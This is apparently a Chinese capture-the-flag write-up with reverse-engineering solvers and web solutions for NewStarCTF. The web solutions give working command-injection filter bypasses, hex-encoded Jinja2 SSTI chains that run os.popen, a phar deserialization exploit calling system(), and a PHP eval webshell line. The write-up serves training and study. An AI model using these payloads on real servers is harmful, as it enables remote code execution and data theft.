mpz_random(random_state, n) 返回一个在0和n-1之间的均匀分布的随机整数。参数random_state必须先由random_state()创建。

mpz_rrandomb(…)

mpz_rrandomb(random_state, b)返回一个介于0和2b - 1之间的随机整数，在其二进制表示中具有长序列的0和1。参数random_state必须先由random_state()创建。

mpz_urandomb(…)

mpz_urandomb(random_state, b)返回一个在0和2b - 1之间的均匀分布的随机整数，参数random_state必须先由random_state()创建。

如上一波搜索，可以明确知道mpz 是个数学库，那么分析程序流程的时候，黑盒测试就有了侧重点。

0x02 程序分析

先ida简单分析一下

可以得到程序处理流程：

先将输入字符对应的hex，转化为小端序[v12]
v9=v12-114514
v9=v9*191980
v9=(v9//(2**20)<<20)+0xf6760

然后将v9与密文比较，也就是v13。

【注意：这里后面的三个表达式关系，需要动态调试。类似黑盒测试的方式得到，同时题目是mpz，可联想到gmp 数学函数库，会有一些帮助】

0x03 解密流程

下面是黑盒测试的用例【用来分析函数功能】

# 下面是，动态调试，分析函数功能用到的黑盒测试

# 12345678ABCDEFGHIJKLMNOPQRSTUVWXYZ   这是test 用例

enc='089A5657565554535251504F4E4D4C4B4A4948474645444342413837363534333231'

enc_=''

for i in range(len(enc)-2,-2,-2):

    enc_+=enc[i:i+2]

num=int(enc_,16)

print(hex(num))

e='60677FE420496C8FB2D5F81B3F6285A8CBEE1135587B9EC1E407CB7E8AADD0F3163A1D90'

e_=''

for i in range(len(e)-2,-2,-2):

    e_+=e[i:i+2]

num1=int(e_,16)

print(hex(num1))

print(num1//num)

enc='089A5657565554535251504F4E4D4C4B4A4948474645444342413837363534333231'

enc_=''

for i in range(len(enc)-2,-2,-2):

    enc_+=enc[i:i+2]

num2=int(enc_,16)

print(hex(num2))

print(hex((num1//(2**20)<<20)+0xf6760))

分析清楚函数功能，开始解密：

# encoding=utf-8

enc='1853AA7A566DABCD46464646464646AA7F2C2D2D2D2D2D2D2D31C8AA8A5E738FE584092C01'  # ida dump出的密文，将其小端序

enc_=''

for i in range(len(enc)-2,-2,-2):

    enc_+=enc[i:i+2]

num=int(enc_,16)

# num=582872904048513552060243879638332414210812529746092910839742399777159917107350390592280

num=(num*(2**20)-0xf6760)>>20

num=num//191980

num+=114514

print(hex(num))

print(bytes.fromhex('666c61677b676d705f6c6c6c6c6c6c6c6c6c6c3131313131313131315f696e74217d'))  # flag{gmp_llllllllll111111111_int!}

flag{gmp_llllllllll111111111_int!}

Web

So Baby RCE

0x01 绕过技巧

<?php

error_reporting(0);

if(isset($_GET["cmd"])){

    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){

       echo "Don't Hack Me";

    }else{

        system($_GET["cmd"]);

    }

}else{

    show_source(__FILE__);

}

(174条消息) CTFHub技能树笔记之RCE：命令注入、过滤cat、过滤空格_weixin_48799157的博客-CSDN博客_命令执行过滤空格

(174条消息) CTFWeb-命令执行漏洞过滤的绕过姿势_Tr0e的博客-CSDN博客_ctf 空格绕过

CTF中命令执行绕过方法 - FreeBuf网络安全行业门户

(174条消息) CTF下的命令执行_lemonl1的博客-CSDN博客_ctf 命令执行

CTF中的命令执行绕过方式 - 知乎 (zhihu.com)【比较全面】

参见上文：

# 一些绕过小技巧

1. cat

	1.使用单引号绕过 

	127.0.0.1; c''at flag_2287214057241.php |base64

	2.使用双引号绕过 

	127.0.0.1; c""at flag_2287214057241.php |base64

	3.利用Shell 特殊变量绕过

	127.0.0.1; ca$@t flag_2287214057241.php|base64

2.空格可以用以下字符代替：

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符，但是如果单纯的cat$IFS2，bash解释器会把整个IFS2当做变量名，所以导致输不出来结果，因此这里加一个{}就固定了变量名。

同理，在后面加个$可以起到截断的作用，使用$9是因为它是当前系统shell进程的第九个参数的持有者，它始终为空字符串。

3.

a=fl;b=ag;cat $a$b          变量替换

cp fla{g.php,G}    把flag.php复制为flaG

ca${21}t a.txt     利用空变量  使用$*和$@，$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下，上面的特殊变量都是为空的

4.>，+过滤

对于 >,+ 等 符号的过滤 ,$PS2变量为>,$PS4变量则为+

5.控制环境变量绕过

$PATH => "/usr/local/….blablabla”

${PATH:0:1} => '/'

${PATH:1:1} => 'u'

${PATH:0:4} => '/usr'

6.过滤斜杠/绕过

使用${HOME:0:1}代替/

0x02 RCE

查询足够多资料后，开始RCE【通过cd .. 逐步跳转到根目录】

/?cmd=ec$@ho${IFS}${PATH}

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

/?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0als${IFS}

bin

boot

dev

etc

ffffllllaaaaggggg

home

lib

lib64

media

mnt

opt

proc

root

run

sbin

srv

start.sh

sys

tmp

usr

var

/?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0ac$@at${IFS}ffff$@llllaaaaggggg

flag{bcba8204-fad9-4328-9072-afeafd94d764}

flag{bcba8204-fad9-4328-9072-afeafd94d764}

BabySSTI_Two

0x01 测试黑名单

SSTI/沙盒逃逸详细总结-安全客 - 安全资讯平台 (anquanke.com)

细说Jinja2之SSTI&bypass - FreeBuf网络安全行业门户

?name={{1+1}}  # + 过滤

/?name={{"hj"}}   # ""  过滤

?name={{'~'}}     # ~ 过滤

/?name={{'j s'}}  # 空格过滤 单引号可以使用

?name={{'a.b'}}   # . 可以使用

?name={{'a[]b'}}  # [] 可以使用

?name={{'a()b'}}  # () 可以使用

?name={{'()__'}}  # __ 可以使用

?name={{'popen'}}  # popen 过滤

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

# popen、eval、system 过滤

?name={{lipsum[request.args.t1][request.args.t2][request.args.t3]('os').popen('ls').read()}}&t1=__globals__&t2=__builtins__&t3=__import__

# 绕过 popen 通过 base64 编码 不可行

['cG9wZW4='.decode('base64')]  #popen

['ZXZhbA=='.decode('base64')]  #eval

("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')) #__import__('os').popen('ls').read()

?name={{lipsum.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}}

?name={{joiner.__in''it__.__glob''als__.__bui''ltins__['__im''port__']('os').popen('ls').read()}}

# 可执行

?name={{[]['__c''lass__']['__ba''se__']['__subcl''asses__']()}}

# 利用脚本跑出利用函数位置

{{().__cl''ass__.__bas''es__[0].__su''bcl''asses__()[177].__in''it__.__glob''als__.__bu''iltins__['open']('ls').read()}}

?name={{[].__cla''ss__.__ba''se__.__subcla''sses__()[117].__in''it__.__glo''bals__['__built''ins__']['__imp''ort__']('os').__di''ct__['pop''en']('ls').read()}}

/?name={{''['__cla''ss__']['__bas''es__'][0]['__subcl''asses__']()[117]['__in''it__'].__glo''bals__['nepop'[::-1]]('id').read()}}

0x02 绕过测试

# __ 黑名单绕过

{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

# [] 绕过 getitem() 用来获取序号

"".__class__.__mro__[2]

"".__class__.__mro__.__getitem__(2)

# encoding=utf-8

str1 = 'popen'

res = ''

for i in str1:

  res += "{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))

print(res[:-3])

for i in range(len(str1)):

    print(str(hex(ord(str1[i]))),end=',') # \x70\x6f\x70\x65\x6e

popen 绕过失败

SSTI注入绕过(沙盒逃逸原理一样) - 冬泳怪鸽 - 博客园 (cnblogs.com)

?name={{lipsum.__glo''bals__.__bu''iltins__['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk='.decode('base64'))}}

失败，不知道什么原因

https://blog.csdn.net/weixin_54515836/article/details/113778233

# 发现

166  <class 'warnings.catch_warnings'>

#调用commands进行命令执行

?name=

{{().__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

?name={{lipsum.__glo''bals__.__buil''tins__['__import__']('os').open('ereh_ni_galf/'[::-1],'r').read()}}

0x03 Rce success

尝试全hex 编码，数据构建脚本：

# encoding=utf-8

text = "{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}"

print(text.encode())

enc = "{{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}"

i = 0

while i <= len(enc) - 1:

    if enc[i] == "'":

        print(enc[i], end='')

        k = i + 1

        while enc[k] != "'":

            print('\\x' + str(hex(ord(enc[k])))[2:], end='')

            k += 1

        print(enc[k], end='')

        i = k+1

        continue

    print(enc[i], end='')

    i += 1

# 尝试全hex 编码

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

======>  # 方便编码使用

?name={{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}

======>

?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}

name={{''['__class__']['__base__']['__subclasses__']()[64]['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['read']()}}

====>

?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}

# 发现成功读取 app.py

Welcome to NewStarCTF Again, Dear from flask import Flask, request

from jinja2 import Template

import re

app = Flask(__name__)

@app.route("/")

def index():

    name = request.args.get('name', 'CTFer')

    if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~', name):

        t = Template("

# 读取根目录

'ls${IFS}/'

Welcome to NewStarCTF Again, Dear app

bin

boot

dev

etc

flag_in_h3r3_52daad

home

lib

lib64

media

mnt

opt

proc

root

run

sbin

srv

start.sh

sys

tmp

usr

var

# getflag

'c$@at${IFS}/fl$@ag_in_h3r3_52daad'

?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}

Welcome to NewStarCTF Again, Dear flag{903247b8-92e5-49c0-b40a-b69c2fe2db43}

flag{903247b8-92e5-49c0-b40a-b69c2fe2db43}\

UnserializeThree

hint

PHP反序列化漏洞系列第三题。当文件上传遇到反序列化，擦出爱（RCE）的火花

0x01 题目分析

可以上传图片，并会返回访问路径。

在index页面，发现class.php,访问得到：

<?php

highlight_file(__FILE__);

class Evil{

    public $cmd;

    public function __destruct()

    {

        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){

            //Same point ,can you bypass me again?

            eval("#".$this->cmd);

        }else{

            echo "No!";

        }

    }

}

file_exists($_GET['file']);

详谈CTF中常出现的PHP反序列化漏洞 - FreeBuf网络安全行业门户

Phar (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本，那么Phar后缀文件是默认开启支持的，你不需要任何其他的安装就可以使用它。而Phar文件中也存在反序列化的利用点:phar文件会以序列化的形式储存用户自定义的meta-data,在执行Phar文件时meta-data中用户自定义的元数据将被反序列化从而达到反序列化攻击的目的,这也扩展了PHP反序列化攻击的攻击面

这一利用出自2018年Blackhat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题.

该方法在文件系统函数（file_exists()、is_dir()等）参数可控的情况下，配合phar://伪协议，可以不依赖unserialize()直接进行反序列化操作。

0x02 phar 反序列化漏洞利用

显然本题的考点就是 phar:// 反序列化漏洞了

浅析Phar反序列化 - FreeBuf网络安全行业门户

(174条消息) phar反序列化+两道CTF例题_Z3eyOnd的博客-CSDN博客_ctf phar反序列化

构建phar 文件(174条消息) disabled by the php.ini setting phar.readonly_weixin_34004750的博客-CSDN博客

PHP绕过 | Lazzaro (lazzzaro.github.io)

<?php

class Evil{

    public $cmd="\r"."system('ls');";

}

$a = new Evil();

$phar = new Phar('test.phar',0,'test.phar');

$phar->startBuffering();

$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');

$phar->setMetadata($a);

$phar->addFromString('text.txt','test');

$phar->stopBuffering();

#

$str="PHP_EOL";

$test1="\r";

$cmd=$test1."system('dir');";

//    .urldecode("%0a");

eval('#'.$cmd);

生成phar 包后，改名上传，并获取路径。

Saved to: upload/0412c29576c708cf0155e8de242169b1.jpg

0x03 绕过验证

可以看到已经成功，phar 反序列化利用了。但是还需要绕过验证

 if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){

            //Same point ,can you bypass me again?

            eval("#".$this->cmd);

        }else{

            echo "No!";

        }

// 在前面拼接了 # 注释符，同时 过滤换行

//PHP_EOL  可替代换行 但是php过滤了 

// 由于php ? <> 等字符过滤

//php别名解析

//php3、php5、phtml能解析成php文件

//GIF89a?

<script  language="ph%00p">  @eval($_REQUEST['pass']);

</script>

一番尝试后，发现回车"\r",与换行有相同作用，可以绕过，成功rce

public $cmd="\r"."system('ls');";

bin

boot

dev

etc

flag

home

lib

lib64

media

mnt

opt

proc

root

run

sbin

srv

start.sh

sys

tmp

usr

var

# 得到flag

public $cmd="\r"."system('cat flag');";

flag{ba275b97-c9fe-4030-94a9-ef44a2dc3dc5}

flag{ba275b97-c9fe-4030-94a9-ef44a2dc3dc5}

Week5

Re

拔丝溜肆 (easy)

0x01 程序分析

main_

是个base64 加密：

这里值得注意的是，每次编码的时候，都使用源base64表移位获得。

所以，需要动调获得每次的移位值。

key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18]

直接通过每轮移位值，进行变表解编码得到flag。

0x02 base 变表解编码

# encoding=utf-8

print("x" * 42)

# 变表base

import base64

change_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

str1 = 'CPaKBfUZFcNwW9qCKgyvuS2PGPQ9mttGc/wCNS0w6hDwGOSsOkOEkL5V'

key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18]

for i in range(0, len(str1), 4):

    tmp=list(table)

    new_table=[0]*64

    for k in range(len(tmp)):

        new_table[k]=tmp[(key[i//4]+k)%64]

    change_table=''.join(new_table)

    print(str(base64.b64decode(str1[i:i+4].translate(str.maketrans(change_table, table))))[2:2+3], end='')

# flag{12573882-1CF1-EB5E-C965-035B1F263C38}

flag{12573882-1CF1-EB5E-C965-035B1F263C38}

E4sy_Mix (hard)

0x01 smc 自修改

一般有两种方案解决：

直接动调让程序自己运行恢复【题目有debug，动态调试需绕过】。
idc 脚本，直接修改也能得到。

这里使用第一种，动态调试得到正确逻辑！【这种比较简单，同时可以得到一些运行数据，更容易求出flag】

修改逻辑，绕过即可。得到正常函数：

加密逻辑，很简单：

  for ( i = 0; i < result; ++i )

  {

    v3 = (v3 + 1) % 256;                        // 右移1

    v5 = byte_404490[v3];

    v4 = (v5 + v4) % 256;

    byte_404490[v3] = byte_404490[v4];

    byte_404490[v4] = v5;

    *(_BYTE *)(i + a1) ^= byte_404490[(unsigned __int8)(v5 + byte_404490[v3])];

  }

0x02 py解密

# encoding=utf-8

print("x" * 33)

byte_404490=\

[  0x61, 0x07, 0xD5, 0x8A, 0x69, 0x78, 0x2D, 0x56, 0xD1, 0x7C,

  0x1E, 0x0E, 0x0C, 0x0F, 0x64, 0x30, 0x14, 0xC5, 0x3C, 0xB0,

  0x37, 0x41, 0x1C, 0x17, 0x6A, 0xB5, 0x4A, 0xB9, 0x3D, 0x4D,

  0xF2, 0xB7, 0x38, 0xB8, 0x7B, 0x9F, 0x48, 0x7F, 0xE5, 0xD2,

  0xA8, 0xEE, 0xB3, 0x2F, 0xC1, 0x5A, 0xCE, 0x0B, 0x2A, 0x94,

  0x50, 0xCA, 0x71, 0x72, 0xA9, 0xE1, 0x67, 0xDE, 0x28, 0x76,

  0x31, 0x09, 0x3E, 0xE2, 0x3F, 0xA7, 0x20, 0xFE, 0x26, 0x42,

  0x7A, 0xD9, 0x4C, 0xD6, 0x63, 0x23, 0x34, 0xC3, 0x08, 0x92,

  0xAB, 0x18, 0x91, 0x3B, 0xAD, 0x1A, 0x4E, 0xA5, 0xF0, 0x83,

  0xB6, 0x05, 0x77, 0xC7, 0xC6, 0x8E, 0x90, 0x5D, 0x19, 0x6D,

  0x33, 0x1B, 0xF8, 0x45, 0xAC, 0x9A, 0x96, 0xA6, 0x79, 0xC0,

  0x00, 0x02, 0xDB, 0x53, 0x68, 0x6B, 0x10, 0x6F, 0x98, 0xDF,

  0x84, 0x0A, 0x47, 0x40, 0x13, 0xF3, 0xAF, 0x12, 0xBA, 0x8B,

  0xD7, 0xCB, 0x9B, 0xF6, 0xC8, 0x9C, 0xE0, 0x01, 0x5B, 0xE3,

  0xA2, 0x06, 0x03, 0xDA, 0x2E, 0x75, 0xC2, 0x74, 0xDD, 0xFB,

  0xFD, 0xEA, 0xA1, 0x81, 0xBB, 0x65, 0x25, 0x44, 0xD8, 0x24,

  0x39, 0xBF, 0x57, 0x0D, 0xEC, 0x70, 0xFC, 0xBD, 0x59, 0x4B,

  0x49, 0x86, 0xCD, 0xE7, 0x73, 0xA0, 0x8D, 0x1D, 0xDC, 0x5E,

  0x97, 0x87, 0xC9, 0xCC, 0x7D, 0x7E, 0x80, 0x16, 0xBC, 0xD3,

  0xEB, 0xF4, 0x58, 0x51, 0x43, 0xF9, 0xCF, 0xBE, 0xF1, 0x66,

  0xD4, 0xF7, 0x04, 0x5F, 0x21, 0xED, 0x32, 0xAE, 0x15, 0x27,

  0xEF, 0x2C, 0xE9, 0x36, 0xFA, 0x5C, 0x29, 0x93, 0x35, 0x95,

  0xE8, 0xA3, 0x52, 0x6E, 0x8F, 0xB4, 0xE4, 0x9D, 0xAA, 0x62,

  0x3A, 0xA4, 0xD0, 0x4F, 0x8C, 0x46, 0x22, 0xB2, 0xB1, 0x89,

  0x55, 0x9E, 0xFF, 0x11, 0xC4, 0x2B, 0x1F, 0xE6, 0x6C, 0x85,

  0x60, 0xF5, 0x99, 0x88, 0x82, 0x54]

enc=[  0xA1, 0xBF, 0xB6, 0x70, 0x63, 0x5B, 0x3B, 0xED, 0xF4, 0x91,

  0x81, 0xA4, 0xBD, 0x3A, 0x53, 0x86, 0x5B, 0x8C, 0xDB, 0x41,

  0x1B, 0x73, 0xE1, 0xD1, 0xF2, 0xB2, 0xDF, 0x6E, 0x16, 0x56,

  0x22, 0x42, 0xFC]

v3 = 0

v4 = 0

flag=[0]*len(enc)

for i in range(len(enc)):

    v3 = (v3 + 1) % 256   # 右移1

    v5 = byte_404490[v3]

    v4 = (v5 + v4) % 256

    byte_404490[v3] = byte_404490[v4]

    byte_404490[v4] = v5

    flag[i]= byte_404490[(v5 + byte_404490[v3])&0xff]^enc[i]

for i in range(len(flag)):

    print(chr(flag[i]),end='')

flag{RC4_and_SMC_is_interesting!}

最后附上idc python:

【直接Shift + F2 运行脚本，优点是，也能得到调试获得的结果，且便捷；缺点是，运行的数据获取不到,需要自己求解】

import ida_bytes

for ea in range(0x402000,0x402000+53,1):

  ida_bytes.patch_dword(ea,ida_bytes.get_original_dword(ea)^0x54)

Petals Level Up (easy)

0x01 程序分析

__asm { jmp     r15 }

# 发现上面内联 汇编指令，实现程序的跳转

处理方式就是动态调试【或者可以，自行计算出r15但显然比较麻烦】

0x02 程序动态调试跟进

这里对输入，有一次处理！

input 值在映射表中的位置，作为新值替代input：

映射表生成如下：

  for ( i = 0; i <= 255; ++i )

    *((_BYTE *)v3 + i) = ~(i ^ a2);

可以看到将输入进行移位 xor 操作【但是这里后面存在 jmp r15,所以需要查看汇编指令又进行了那些操作】

汇编跳转如下：

又进行了两次移位 xor 运算：

【上面，移位4时，xor 0x7a,标注错了】

同时末尾，又xor input[i+1]。这里动态调试获得！

下面是密文比较： md5 ，加密小写提交

如上分析：就可以得到下面的加密流程： # 最后一轮 xor input[0]

    *a1 = (*a1 << 7) | (*a1 >> 1);

    *a1 ^= 0x71u;

    *a1 = (*a1 << 6) | ((unsigned __int8)*a1 >> 2);

    *a1 ^= 0x73u;

    *a1 = (*a1 << 5) | (*a1 >> 3);

    *a1 ^= 0x64u;

    *a1 = (*a1 << 4) | ((unsigned __int8)*a1 >> 4);

    *a1 ^= 0x7Au;

    *a1 ^= *(a1+1)

0x03 解密py

先写出加密逻辑，进行测试：【与程序运行结果相同，说明分析正确】

# encoding=utf-8

enc=[0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x31,

  0xC3, 0x6E, 0x24, 0xE3, 0x7C, 0xFF, 0xDA, 0xF9, 0x75, 0xF2,

  0x60, 0xBF, 0x33, 0xE3, 0x65, 0xA6, 0x62, 0x2A, 0x65, 0x24,

  0xB4, 0xBA]

def RoL(num,bit):

    return ((num<<bit)|(num>>(8-bit)))&0xff

# 生成映射表

table=[0]*256

len_=len(enc)

for i in range(256):

    table[i]=(~(i^len_))&0xff

print(hex(table.index(ord('x'))))

test='1234567890987654321112345678abcd'

print(table)

flag=[0]*len(enc)

for i in range(len(test)):

    tmp=table.index(ord(test[i]))

    tmp = RoL(tmp, 7)

    tmp ^= 0x71

    tmp = RoL(tmp, 6)

    tmp ^= 0x73

    tmp = RoL(tmp, 5)

    tmp ^= 0x64

    tmp = RoL(tmp, 4)

    tmp^=0x7a

    if i != len(test)-1:

        tmp^=table.index(ord(test[i+1]))

    else:

        tmp^=flag[0]

    flag[i]=tmp

    print(hex(tmp),end=',')

测试正确：写出解密逻辑，得到flag。

解密py:

# encoding=utf-8

import hashlib

enc=[0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x31,

  0xC3, 0x6E, 0x24, 0xE3, 0x7C, 0xFF, 0xDA, 0xF9, 0x75, 0xF2,

  0x60, 0xBF, 0x33, 0xE3, 0x65, 0xA6, 0x62, 0x2A, 0x65, 0x24,

  0xB4, 0xBA]

def RoR(num,bit):

    return ((num>>bit)|(num<<(8-bit)))&0xff

# 生成映射表

table=[0]*256

len_=len(enc)

for i in range(256):

    table[i]=(~(i^len_))&0xff

flag=[0]*len(enc)

flag[0]=enc[0]

for i in range(len(enc)-1,-1,-1):

    if i == len(enc)-1:

        tmp=flag[0]^enc[i]

    else:

        tmp=enc[i]^flag[i+1]

    tmp^=0x7a

    tmp=RoR(tmp,4)

    tmp^=0x64

    tmp=RoR(tmp,5)

    tmp^=0x73

    tmp=RoR(tmp,6)

    tmp^=0x71

    tmp=RoR(tmp,7)

    flag[i]=tmp

    print(tmp)

print(flag)

for i in range(len(flag)):  #bakabakaba#AtsukoKagari#aw1dyq2r

    print(chr(table[flag[i]]),end='')

print()

print(hashlib.md5('bakabakaba#AtsukoKagari#aw1dyq2r'.encode()).hexdigest())

flag{d5658c0b4c44d4672d76b563a8505a66}

【这题或许可以，静态修改跳转逻辑，使其能够F5 反汇编，可能会容易很多，不然分析汇编代码，容易漏掉细节，耗时大】

有时间可以尝试一下。

Virtual Self (middle)

0x01 VM opcode 转换为可理解语句

特征很明显，是VM 类型题目。程序的加密逻辑是固定的，但是由于将其加密过程转化为未知 opcode 进行翻译。所以直觉上，运行规律是不可理解的。

那么现在就需要，将其opcode 码，转化为可理解的伪汇编代码！！！

首先用 idcpython 将 opcode dump出来：【动态调试过程中dump】

import idaapi

start_address=0x00007FFC2B201890

end_address=0x00007FFC2B2021E0+1

data_length= end_address-start_address

data = idaapi.dbg_read_memory(start_address, data_length)

fp = open(r'F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\week5\Re\Virtual Self (middle)\opcode', 'wb')

fp.write(data)

fp.close()

指令长度为 4：

opcode[0]===>运算类型如 mov sub add等

opcode[1]===>细分运算类型如 mov 的不同用法类别

opcode[2]、opcode[3] 操作数

print 出可理解伪汇编：

# encoding=utf-8

import binascii

import hashlib

with open(r'F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\week5\Re\Virtual Self (middle)\opcode', 'rb') as f:

    opcode = f.read()

# opcode_=binascii.hexlify(opcode)

# print(opcode_)

opcode = bytes(opcode)

# 下面程序相当于将程序 vm 走了一遍。用python 代码

# opcode=[0]*((len(opcode_)//2))

# for i in range(0,len(opcode_),2):

#     opcode[int(i//2)]=int(opcode_[i:i+2],16)

print('x' * 29)

i = 0

while opcode[i] != 0xff:

    if opcode[i] == 224:  # mov

        if opcode[i + 1] == 0:

            print("mov reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")

        elif opcode[i + 1] == 1:

            print("mov reg[", opcode[i + 2] - 208, "] ", "input[", opcode[i + 3], "]")

        elif opcode[i + 1] == 2:

            print("mov input[", opcode[i + 2], "] ", "reg[", opcode[i + 3] - 208, "]")

            print()

        elif opcode[i + 1] == 3:

            print("mov reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])

    elif opcode[i] == 162:  # sub

        if opcode[i + 1] == 1:

            print("sub reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])

        elif opcode[i + 1] == 0:

            print("sub reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")

    elif opcode[i] == 160:  # xor

        if opcode[i + 1] == 1:

            print("xor reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])

        elif opcode[i + 1] == 0:

            print("xor reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")

    elif opcode[i] == 161:  # add

        if opcode[i + 1] == 1:

            print("add reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])

        elif opcode[i + 1] == 0:

            print("add reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")

    i += 4

print("end !!!")

得到伪汇编代码！

0x02 翻译后的伪汇编代码分析

# 运行上面脚本 即可得到【数据比较多，这里就不展示了】

翻译后得到上面伪汇编代码，逐个解密得到flag!

0x03 py解密

# encoding=utf-8

input = [0x84, 0x1F, 0x3C, 0x7B, 0xB9, 0x2A, 0x6C, 0x63, 0xA4,

         0x72, 0x1B, 0x08, 0x76, 0x5F, 0x96, 0x88, 0x86, 0x5F, 0x7B,

         0x67, 0xCD, 0x86, 0x97, 0x66, 0x64, 0x99, 0xFC, 0x7D, 0x81]

input[3] = (input[3] + 2) ^ 20 - 2

input[10] = input[10] ^ 97 ^ 3

input[17] = (input[17] ^ 3 + 2) ^ 1

input[22] = (input[22] ^ 230 ^ 1 - 2 + 252 + 2)

input[5] = (((((input[5] - 1) ^ 1 ^ 74 - 112) + 1 + 23) ^ 74) + 23)&0xff

input[0] = (((input[0] ^ 2 + 3) ^ 31 + 2) - 11 + 217) & 0xff

input[7] = ((input[7] + 6) ^ 2 + 1)

input[25] = ((input[25] + 4 - 2) ^ 1 - 128 + 78) & 0xff

input[23] = ((input[23] ^ 3 + 3 - 3) ^ 3 ^ 1 + 2)

input[14] = (input[14] - 228 - 1 + 249 + 249 + 1 + 3) & 0xff

input[19] = (input[19] + 1)

input[26] = (((input[26] ^ 3 + 9 - (58-79)) ^ 2 ^ 117)&0xff - 58) & 0xff

input[20] = (((input[20] - 4) ^ 1 - 4 - 4) ^ 2) & 0xff

input[2] = (input[2] + 24 + 3 - 244 - 2) & 0xff

input[18] = ((input[18] - 2 - 3) ^ 3 ^ 237 ^ 1 ^ 218)

input[4] = (((input[4] - 2 + 1) ^ (216 - 188) - 42 - 1) ^ 2) & 0xff

input[6] = ((input[6] + 1 - 3 + 2 + 3) ^ 3 - 2) ^ 3

input[11] = ((input[11] + 174) ^ (112 - 174 + 4) - 2 + 3 + 2 - 4) & 0xff

input[21] = (((input[21] - 3) ^ 2 + 3 + 236 + 236) ^ 3) & 0xff

